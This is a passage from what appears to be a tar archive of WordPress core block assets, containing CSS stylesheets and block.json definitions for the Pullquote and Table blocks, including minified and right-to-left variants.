.wp-block-pullquote.is-style-solid-color { border: none; } .wp-block-pullquote.is-style-solid-color blockquote { margin-right: auto; margin-left: auto; max-width: 60%; } .wp-block-pullquote.is-style-solid-color blockquote p { margin-top: 0; margin-bottom: 0; font-size: 2em; } .wp-block-pullquote.is-style-solid-color blockquote cite { text-transform: none; font-style: normal; } .wp-block-pullquote cite { color: inherit; }blocks/pullquote/editor.min.css000064400000000771147177035010012647 0ustar00.wp-block-pullquote.has-text-align-left p,.wp-block-pullquote.has-text-align-right p,.wp-block[data-align=left]>.wp-block-pullquote p,.wp-block[data-align=right]>.wp-block-pullquote p{font-size:20px}.wp-block-pullquote blockquote p{font-size:28px;line-height:1.6}.wp-block-pullquote.is-style-solid-color blockquote p{font-size:32px}.wp-block-pullquote.is-style-solid-color .wp-block-pullquote__citation{text-transform:none;font-style:normal}.wp-block-pullquote .wp-block-pullquote__citation{color:inherit}blocks/pullquote/theme-rtl.min.css000064400000000413147177035010013253 0ustar00.wp-block-pullquote{border-top:4px solid;border-bottom:4px solid;margin-bottom:1.75em;color:currentColor}.wp-block-pullquote__citation,.wp-block-pullquote cite,.wp-block-pullquote footer{color:currentColor;text-transform:uppercase;font-size:.8125em;font-style:normal}blocks/pullquote/block.json000064400000002660147177035010012051 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 2, "name": "core/pullquote", "title": "Pullquote", "category": "text", "description": "Give special visual emphasis to a quote from your text.", "textdomain": "default", "attributes": { "value": { "type": "string", "source": "html", "selector": "blockquote", "multiline": "p", "__experimentalRole": "content" }, "citation": { "type": "string", "source": "html", "selector": "cite", "default": "", "__experimentalRole": "content" }, "textAlign": { "type": "string" } }, "supports": { "anchor": true, "align": [ "left", "right", "wide", "full" ], "color": { "gradients": true, "background": true, "link": true, "__experimentalDefaultControls": { "background": true, "text": true } }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontStyle": true, "__experimentalFontWeight": true, "__experimentalLetterSpacing": true, "__experimentalTextTransform": true, "__experimentalDefaultControls": { "fontSize": true, "fontAppearance": true } }, "__experimentalBorder": { "color": true, "radius": true, "style": true, "width": true, "__experimentalDefaultControls": { "color": true, "radius": true, "style": true, "width": true } } }, "editorStyle": "wp-block-pullquote-editor", "style": "wp-block-pullquote" } blocks/pullquote/style-rtl.min.css000064400000002315147177035010013314 0ustar00.wp-block-pullquote{margin:0 0 1em;padding:3em 0;text-align:center;overflow-wrap:break-word;box-sizing:border-box}.wp-block-pullquote blockquote,.wp-block-pullquote cite,.wp-block-pullquote p{color:inherit}.wp-block-pullquote.alignleft,.wp-block-pullquote.alignright,.wp-block-pullquote.has-text-align-left,.wp-block-pullquote.has-text-align-right{max-width:420px}.wp-block-pullquote.alignleft p,.wp-block-pullquote.alignright p,.wp-block-pullquote.has-text-align-left p,.wp-block-pullquote.has-text-align-right p{font-size:1.25em}.wp-block-pullquote p{font-size:1.75em;line-height:1.6}.wp-block-pullquote cite,.wp-block-pullquote footer{position:relative}.wp-block-pullquote .has-text-color a{color:inherit}.wp-block-pullquote.has-text-align-left blockquote{text-align:right}.wp-block-pullquote.has-text-align-right blockquote{text-align:left}.wp-block-pullquote.is-style-solid-color{border:none}.wp-block-pullquote.is-style-solid-color blockquote{margin-right:auto;margin-left:auto;max-width:60%}.wp-block-pullquote.is-style-solid-color blockquote p{margin-top:0;margin-bottom:0;font-size:2em}.wp-block-pullquote.is-style-solid-color blockquote cite{text-transform:none;font-style:normal}.wp-block-pullquote cite{color:inherit}blocks/pullquote/editor-rtl.min.css000064400000000771147177035010013446 0ustar00.wp-block-pullquote.has-text-align-left p,.wp-block-pullquote.has-text-align-right p,.wp-block[data-align=left]>.wp-block-pullquote p,.wp-block[data-align=right]>.wp-block-pullquote p{font-size:20px}.wp-block-pullquote blockquote p{font-size:28px;line-height:1.6}.wp-block-pullquote.is-style-solid-color blockquote p{font-size:32px}.wp-block-pullquote.is-style-solid-color .wp-block-pullquote__citation{text-transform:none;font-style:normal}.wp-block-pullquote .wp-block-pullquote__citation{color:inherit}blocks/pullquote/theme.min.css000064400000000413147177035010012454 0ustar00.wp-block-pullquote{border-top:4px solid;border-bottom:4px solid;margin-bottom:1.75em;color:currentColor}.wp-block-pullquote__citation,.wp-block-pullquote cite,.wp-block-pullquote footer{color:currentColor;text-transform:uppercase;font-size:.8125em;font-style:normal}blocks/pullquote/theme.css000064400000003415147177035010011677 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-pullquote { border-top: 4px solid currentColor; border-bottom: 4px solid currentColor; margin-bottom: 1.75em; color: currentColor; } .wp-block-pullquote cite, .wp-block-pullquote footer, .wp-block-pullquote__citation { color: currentColor; text-transform: uppercase; font-size: 0.8125em; font-style: normal; }blocks/pullquote/theme-rtl.css000064400000003415147177035010012476 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-pullquote { border-top: 4px solid currentColor; border-bottom: 4px solid currentColor; margin-bottom: 1.75em; color: currentColor; } .wp-block-pullquote cite, .wp-block-pullquote footer, .wp-block-pullquote__citation { color: currentColor; text-transform: uppercase; font-size: 0.8125em; font-style: normal; }blocks/pullquote/style.css000064400000005461147177035010011740 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-pullquote { margin: 0 0 1em 0; padding: 3em 0; text-align: center; overflow-wrap: break-word; box-sizing: border-box; } .wp-block-pullquote p, .wp-block-pullquote blockquote, .wp-block-pullquote cite { color: inherit; } .wp-block-pullquote.has-text-align-left, .wp-block-pullquote.has-text-align-right, .wp-block-pullquote.alignleft, .wp-block-pullquote.alignright { max-width: 420px; } .wp-block-pullquote.has-text-align-left p, .wp-block-pullquote.has-text-align-right p, .wp-block-pullquote.alignleft p, .wp-block-pullquote.alignright p { font-size: 1.25em; } .wp-block-pullquote p { font-size: 1.75em; line-height: 1.6; } .wp-block-pullquote cite, .wp-block-pullquote footer { position: relative; } .wp-block-pullquote .has-text-color a { color: inherit; } .wp-block-pullquote.has-text-align-left blockquote { text-align: left; } .wp-block-pullquote.has-text-align-right blockquote { text-align: right; } .wp-block-pullquote.is-style-solid-color { border: none; } .wp-block-pullquote.is-style-solid-color blockquote { margin-left: auto; margin-right: auto; max-width: 60%; } .wp-block-pullquote.is-style-solid-color blockquote p { margin-top: 0; margin-bottom: 0; font-size: 2em; } .wp-block-pullquote.is-style-solid-color blockquote cite { text-transform: none; font-style: normal; } .wp-block-pullquote cite { color: inherit; }blocks/table/editor-rtl.css000064400000006614147177035010011723 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-table { margin: 0; } .wp-block[data-align=left] > .wp-block-table, .wp-block[data-align=right] > .wp-block-table, .wp-block[data-align=center] > .wp-block-table { height: auto; } .wp-block[data-align=left] > .wp-block-table table, .wp-block[data-align=right] > .wp-block-table table, .wp-block[data-align=center] > .wp-block-table table { width: auto; } .wp-block[data-align=left] > .wp-block-table td, .wp-block[data-align=left] > .wp-block-table th, .wp-block[data-align=right] > .wp-block-table td, .wp-block[data-align=right] > .wp-block-table th, .wp-block[data-align=center] > .wp-block-table td, .wp-block[data-align=center] > .wp-block-table th { word-break: break-word; } .wp-block[data-align=center] > .wp-block-table { text-align: initial; } .wp-block[data-align=center] > .wp-block-table table { margin: 0 auto; } .wp-block-table td, .wp-block-table th { border: 1px solid; } .wp-block-table td.is-selected, .wp-block-table th.is-selected { border-color: var(--wp-admin-theme-color); box-shadow: inset 0 0 0 1px var(--wp-admin-theme-color); border-style: double; } .wp-block-table figcaption { color: #555; font-size: 13px; text-align: center; } .is-dark-theme .wp-block-table figcaption { color: rgba(255, 255, 255, 0.65); } .blocks-table__placeholder-form.blocks-table__placeholder-form { display: flex; flex-direction: column; align-items: flex-start; } .blocks-table__placeholder-form.blocks-table__placeholder-form > * { margin-bottom: 8px; } @media (min-width: 782px) { .blocks-table__placeholder-form.blocks-table__placeholder-form { flex-direction: row; align-items: flex-end; } .blocks-table__placeholder-form.blocks-table__placeholder-form > * { margin-bottom: 0; } } .blocks-table__placeholder-input { width: 112px; margin-left: 8px; margin-bottom: 0; } .blocks-table__placeholder-input input { height: 36px; } .blocks-table__placeholder-input .components-base-control__field { margin-bottom: 0; }blocks/table/style.min.css000064400000004360147177035010011554 0ustar00.wp-block-table{margin:0 0 1em;overflow-x:auto}.wp-block-table table{border-collapse:collapse;width:100%}.wp-block-table .has-fixed-layout{table-layout:fixed;width:100%}.wp-block-table .has-fixed-layout td,.wp-block-table .has-fixed-layout th{word-break:break-word}.wp-block-table.aligncenter,.wp-block-table.alignleft,.wp-block-table.alignright{display:table;width:auto}.wp-block-table.aligncenter td,.wp-block-table.aligncenter th,.wp-block-table.alignleft td,.wp-block-table.alignleft th,.wp-block-table.alignright td,.wp-block-table.alignright th{word-break:break-word}.wp-block-table .has-subtle-light-gray-background-color{background-color:#f3f4f5}.wp-block-table .has-subtle-pale-green-background-color{background-color:#e9fbe5}.wp-block-table .has-subtle-pale-blue-background-color{background-color:#e7f5fe}.wp-block-table .has-subtle-pale-pink-background-color{background-color:#fcf0ef}.wp-block-table.is-style-stripes{border-spacing:0;border-collapse:inherit;background-color:transparent;border-bottom:1px solid #f0f0f0}.wp-block-table.is-style-stripes tbody tr:nth-child(odd){background-color:#f0f0f0}.wp-block-table.is-style-stripes.has-subtle-light-gray-background-color tbody tr:nth-child(odd){background-color:#f3f4f5}.wp-block-table.is-style-stripes.has-subtle-pale-green-background-color tbody tr:nth-child(odd){background-color:#e9fbe5}.wp-block-table.is-style-stripes.has-subtle-pale-blue-background-color tbody tr:nth-child(odd){background-color:#e7f5fe}.wp-block-table.is-style-stripes.has-subtle-pale-pink-background-color tbody tr:nth-child(odd){background-color:#fcf0ef}.wp-block-table.is-style-stripes td,.wp-block-table.is-style-stripes th{border-color:transparent}.wp-block-table .has-border-color>*,.wp-block-table .has-border-color td,.wp-block-table .has-border-color th,.wp-block-table .has-border-color tr{border-color:inherit}.wp-block-table table[style*=border-style]>*,.wp-block-table table[style*=border-style] td,.wp-block-table table[style*=border-style] th,.wp-block-table table[style*=border-style] tr{border-style:inherit}.wp-block-table table[style*=border-width]>*,.wp-block-table table[style*=border-width] td,.wp-block-table table[style*=border-width] th,.wp-block-table table[style*=border-width] tr{border-width:inherit;border-style:inherit}blocks/table/editor.css000064400000006615147177035010011125 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-table { margin: 0; } .wp-block[data-align=left] > .wp-block-table, .wp-block[data-align=right] > .wp-block-table, .wp-block[data-align=center] > .wp-block-table { height: auto; } .wp-block[data-align=left] > .wp-block-table table, .wp-block[data-align=right] > .wp-block-table table, .wp-block[data-align=center] > .wp-block-table table { width: auto; } .wp-block[data-align=left] > .wp-block-table td, .wp-block[data-align=left] > .wp-block-table th, .wp-block[data-align=right] > .wp-block-table td, .wp-block[data-align=right] > .wp-block-table th, .wp-block[data-align=center] > .wp-block-table td, .wp-block[data-align=center] > .wp-block-table th { word-break: break-word; } .wp-block[data-align=center] > .wp-block-table { text-align: initial; } .wp-block[data-align=center] > .wp-block-table table { margin: 0 auto; } .wp-block-table td, .wp-block-table th { border: 1px solid; } .wp-block-table td.is-selected, .wp-block-table th.is-selected { border-color: var(--wp-admin-theme-color); box-shadow: inset 0 0 0 1px var(--wp-admin-theme-color); border-style: double; } .wp-block-table figcaption { color: #555; font-size: 13px; text-align: center; } .is-dark-theme .wp-block-table figcaption { color: rgba(255, 255, 255, 0.65); } .blocks-table__placeholder-form.blocks-table__placeholder-form { display: flex; flex-direction: column; align-items: flex-start; } .blocks-table__placeholder-form.blocks-table__placeholder-form > * { margin-bottom: 8px; } @media (min-width: 782px) { .blocks-table__placeholder-form.blocks-table__placeholder-form { flex-direction: row; align-items: flex-end; } .blocks-table__placeholder-form.blocks-table__placeholder-form > * { margin-bottom: 0; } } .blocks-table__placeholder-input { width: 112px; margin-right: 8px; margin-bottom: 0; } .blocks-table__placeholder-input input { height: 36px; } .blocks-table__placeholder-input .components-base-control__field { margin-bottom: 0; }blocks/table/style-rtl.css000064400000007607147177035010011600 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-table { margin: 0 0 1em 0; overflow-x: auto; } .wp-block-table table { border-collapse: collapse; width: 100%; } .wp-block-table .has-fixed-layout { table-layout: fixed; width: 100%; } .wp-block-table .has-fixed-layout td, .wp-block-table .has-fixed-layout th { word-break: break-word; } .wp-block-table.alignleft, .wp-block-table.aligncenter, .wp-block-table.alignright { display: table; width: auto; } .wp-block-table.alignleft td, .wp-block-table.alignleft th, .wp-block-table.aligncenter td, .wp-block-table.aligncenter th, .wp-block-table.alignright td, .wp-block-table.alignright th { word-break: break-word; } .wp-block-table .has-subtle-light-gray-background-color { background-color: #f3f4f5; } .wp-block-table .has-subtle-pale-green-background-color { background-color: #e9fbe5; } .wp-block-table .has-subtle-pale-blue-background-color { background-color: #e7f5fe; } .wp-block-table .has-subtle-pale-pink-background-color { background-color: #fcf0ef; } .wp-block-table.is-style-stripes { border-spacing: 0; border-collapse: inherit; background-color: transparent; border-bottom: 1px solid #f0f0f0; } .wp-block-table.is-style-stripes tbody tr:nth-child(odd) { background-color: #f0f0f0; } .wp-block-table.is-style-stripes.has-subtle-light-gray-background-color tbody tr:nth-child(odd) { background-color: #f3f4f5; } .wp-block-table.is-style-stripes.has-subtle-pale-green-background-color tbody tr:nth-child(odd) { background-color: #e9fbe5; } .wp-block-table.is-style-stripes.has-subtle-pale-blue-background-color tbody tr:nth-child(odd) { background-color: #e7f5fe; } .wp-block-table.is-style-stripes.has-subtle-pale-pink-background-color tbody tr:nth-child(odd) { background-color: #fcf0ef; } .wp-block-table.is-style-stripes th, .wp-block-table.is-style-stripes td { border-color: transparent; } .wp-block-table .has-border-color > *, .wp-block-table .has-border-color tr, .wp-block-table .has-border-color th, .wp-block-table .has-border-color td { border-color: inherit; } .wp-block-table table[style*=border-style] > *, .wp-block-table table[style*=border-style] tr, .wp-block-table table[style*=border-style] th, .wp-block-table table[style*=border-style] td { border-style: inherit; } .wp-block-table table[style*=border-width] > *, .wp-block-table table[style*=border-width] tr, .wp-block-table table[style*=border-width] th, .wp-block-table table[style*=border-width] td { border-width: inherit; border-style: inherit; }blocks/table/editor.min.css000064400000003337147177035010011705 0ustar00.wp-block-table{margin:0}.wp-block[data-align=center]>.wp-block-table,.wp-block[data-align=left]>.wp-block-table,.wp-block[data-align=right]>.wp-block-table{height:auto}.wp-block[data-align=center]>.wp-block-table table,.wp-block[data-align=left]>.wp-block-table table,.wp-block[data-align=right]>.wp-block-table table{width:auto}.wp-block[data-align=center]>.wp-block-table td,.wp-block[data-align=center]>.wp-block-table th,.wp-block[data-align=left]>.wp-block-table td,.wp-block[data-align=left]>.wp-block-table th,.wp-block[data-align=right]>.wp-block-table td,.wp-block[data-align=right]>.wp-block-table th{word-break:break-word}.wp-block[data-align=center]>.wp-block-table{text-align:initial}.wp-block[data-align=center]>.wp-block-table table{margin:0 auto}.wp-block-table td,.wp-block-table th{border:1px solid}.wp-block-table td.is-selected,.wp-block-table th.is-selected{border-color:var(--wp-admin-theme-color);box-shadow:inset 0 0 0 1px var(--wp-admin-theme-color);border-style:double}.wp-block-table figcaption{color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-table figcaption{color:hsla(0,0%,100%,.65)}.blocks-table__placeholder-form.blocks-table__placeholder-form{display:flex;flex-direction:column;align-items:flex-start}.blocks-table__placeholder-form.blocks-table__placeholder-form>*{margin-bottom:8px}@media (min-width:782px){.blocks-table__placeholder-form.blocks-table__placeholder-form{flex-direction:row;align-items:flex-end}.blocks-table__placeholder-form.blocks-table__placeholder-form>*{margin-bottom:0}}.blocks-table__placeholder-input{width:112px;margin-right:8px;margin-bottom:0}.blocks-table__placeholder-input input{height:36px}.blocks-table__placeholder-input .components-base-control__field{margin-bottom:0}blocks/table/theme-rtl.min.css000064400000000472147177035010012315 0ustar00.wp-block-table thead{border-bottom:3px solid}.wp-block-table tfoot{border-top:3px solid}.wp-block-table td,.wp-block-table th{padding:.5em;border:1px solid;word-break:normal}.wp-block-table figcaption{color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-table figcaption{color:hsla(0,0%,100%,.65)}blocks/table/block.json000064400000006520147177035010011105 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 2, "name": "core/table", "title": "Table", "category": "text", "description": "Create structured content in rows and columns to display information.", "textdomain": "default", "attributes": { "hasFixedLayout": { "type": "boolean", "default": false }, "caption": { "type": "string", "source": "html", "selector": "figcaption", "default": "" }, "head": { "type": "array", "default": [], "source": "query", "selector": "thead tr", "query": { "cells": { "type": "array", "default": [], "source": "query", "selector": "td,th", "query": { "content": { "type": "string", "source": "html" }, "tag": { "type": "string", "default": "td", "source": "tag" }, "scope": { "type": "string", "source": "attribute", "attribute": "scope" }, "align": { "type": "string", "source": "attribute", "attribute": "data-align" } } } } }, "body": { "type": "array", "default": [], "source": "query", "selector": "tbody tr", "query": { "cells": { "type": "array", "default": [], "source": "query", "selector": "td,th", "query": { "content": { "type": "string", "source": "html" }, "tag": { "type": "string", "default": "td", "source": "tag" }, "scope": { "type": "string", "source": "attribute", "attribute": "scope" }, "align": { "type": "string", "source": "attribute", "attribute": "data-align" } } } } }, "foot": { "type": "array", "default": [], "source": "query", "selector": "tfoot tr", "query": { "cells": { "type": "array", "default": [], "source": "query", "selector": "td,th", "query": { "content": { "type": "string", "source": "html" }, "tag": { "type": "string", "default": "td", "source": "tag" }, "scope": { "type": "string", "source": "attribute", "attribute": "scope" }, "align": { "type": "string", "source": "attribute", "attribute": "data-align" } } } } } }, "supports": { "anchor": true, "align": true, "color": { "__experimentalSkipSerialization": true, "gradients": true, "__experimentalDefaultControls": { "background": true, "text": true } }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontStyle": true, "__experimentalFontWeight": true, "__experimentalLetterSpacing": true, "__experimentalTextTransform": true, "__experimentalDefaultControls": { "fontSize": true } }, "__experimentalBorder": { "__experimentalSkipSerialization": true, "color": true, "style": true, "width": true, "__experimentalDefaultControls": { "color": true, "style": true, "width": true } }, "__experimentalSelector": ".wp-block-table > table" }, "styles": [ { "name": "regular", "label": "Default", "isDefault": true }, { "name": "stripes", "label": "Stripes" } ], "editorStyle": "wp-block-table-editor", "style": "wp-block-table" } blocks/table/style-rtl.min.css000064400000004360147177035010012353 0ustar00.wp-block-table{margin:0 0 1em;overflow-x:auto}.wp-block-table table{border-collapse:collapse;width:100%}.wp-block-table .has-fixed-layout{table-layout:fixed;width:100%}.wp-block-table .has-fixed-layout td,.wp-block-table .has-fixed-layout th{word-break:break-word}.wp-block-table.aligncenter,.wp-block-table.alignleft,.wp-block-table.alignright{display:table;width:auto}.wp-block-table.aligncenter td,.wp-block-table.aligncenter th,.wp-block-table.alignleft td,.wp-block-table.alignleft th,.wp-block-table.alignright td,.wp-block-table.alignright th{word-break:break-word}.wp-block-table .has-subtle-light-gray-background-color{background-color:#f3f4f5}.wp-block-table .has-subtle-pale-green-background-color{background-color:#e9fbe5}.wp-block-table .has-subtle-pale-blue-background-color{background-color:#e7f5fe}.wp-block-table .has-subtle-pale-pink-background-color{background-color:#fcf0ef}.wp-block-table.is-style-stripes{border-spacing:0;border-collapse:inherit;background-color:transparent;border-bottom:1px solid #f0f0f0}.wp-block-table.is-style-stripes tbody tr:nth-child(odd){background-color:#f0f0f0}.wp-block-table.is-style-stripes.has-subtle-light-gray-background-color tbody tr:nth-child(odd){background-color:#f3f4f5}.wp-block-table.is-style-stripes.has-subtle-pale-green-background-color tbody tr:nth-child(odd){background-color:#e9fbe5}.wp-block-table.is-style-stripes.has-subtle-pale-blue-background-color tbody tr:nth-child(odd){background-color:#e7f5fe}.wp-block-table.is-style-stripes.has-subtle-pale-pink-background-color tbody tr:nth-child(odd){background-color:#fcf0ef}.wp-block-table.is-style-stripes td,.wp-block-table.is-style-stripes th{border-color:transparent}.wp-block-table .has-border-color>*,.wp-block-table .has-border-color td,.wp-block-table .has-border-color th,.wp-block-table .has-border-color tr{border-color:inherit}.wp-block-table table[style*=border-style]>*,.wp-block-table table[style*=border-style] td,.wp-block-table table[style*=border-style] th,.wp-block-table table[style*=border-style] tr{border-style:inherit}.wp-block-table table[style*=border-width]>*,.wp-block-table table[style*=border-width] td,.wp-block-table table[style*=border-width] th,.wp-block-table table[style*=border-width] tr{border-width:inherit;border-style:inherit}blocks/table/editor-rtl.min.css000064400000003336147177035010012503 0ustar00.wp-block-table{margin:0}.wp-block[data-align=center]>.wp-block-table,.wp-block[data-align=left]>.wp-block-table,.wp-block[data-align=right]>.wp-block-table{height:auto}.wp-block[data-align=center]>.wp-block-table table,.wp-block[data-align=left]>.wp-block-table table,.wp-block[data-align=right]>.wp-block-table table{width:auto}.wp-block[data-align=center]>.wp-block-table td,.wp-block[data-align=center]>.wp-block-table th,.wp-block[data-align=left]>.wp-block-table td,.wp-block[data-align=left]>.wp-block-table th,.wp-block[data-align=right]>.wp-block-table td,.wp-block[data-align=right]>.wp-block-table th{word-break:break-word}.wp-block[data-align=center]>.wp-block-table{text-align:initial}.wp-block[data-align=center]>.wp-block-table table{margin:0 auto}.wp-block-table td,.wp-block-table th{border:1px solid}.wp-block-table td.is-selected,.wp-block-table th.is-selected{border-color:var(--wp-admin-theme-color);box-shadow:inset 0 0 0 1px var(--wp-admin-theme-color);border-style:double}.wp-block-table figcaption{color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-table figcaption{color:hsla(0,0%,100%,.65)}.blocks-table__placeholder-form.blocks-table__placeholder-form{display:flex;flex-direction:column;align-items:flex-start}.blocks-table__placeholder-form.blocks-table__placeholder-form>*{margin-bottom:8px}@media (min-width:782px){.blocks-table__placeholder-form.blocks-table__placeholder-form{flex-direction:row;align-items:flex-end}.blocks-table__placeholder-form.blocks-table__placeholder-form>*{margin-bottom:0}}.blocks-table__placeholder-input{width:112px;margin-left:8px;margin-bottom:0}.blocks-table__placeholder-input input{height:36px}.blocks-table__placeholder-input .components-base-control__field{margin-bottom:0}blocks/table/theme.min.css000064400000000472147177035010011516 0ustar00.wp-block-table thead{border-bottom:3px solid}.wp-block-table tfoot{border-top:3px solid}.wp-block-table td,.wp-block-table th{padding:.5em;border:1px solid;word-break:normal}.wp-block-table figcaption{color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-table figcaption{color:hsla(0,0%,100%,.65)}blocks/table/theme.css000064400000003467147177035010010743 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-table thead { border-bottom: 3px solid; } .wp-block-table tfoot { 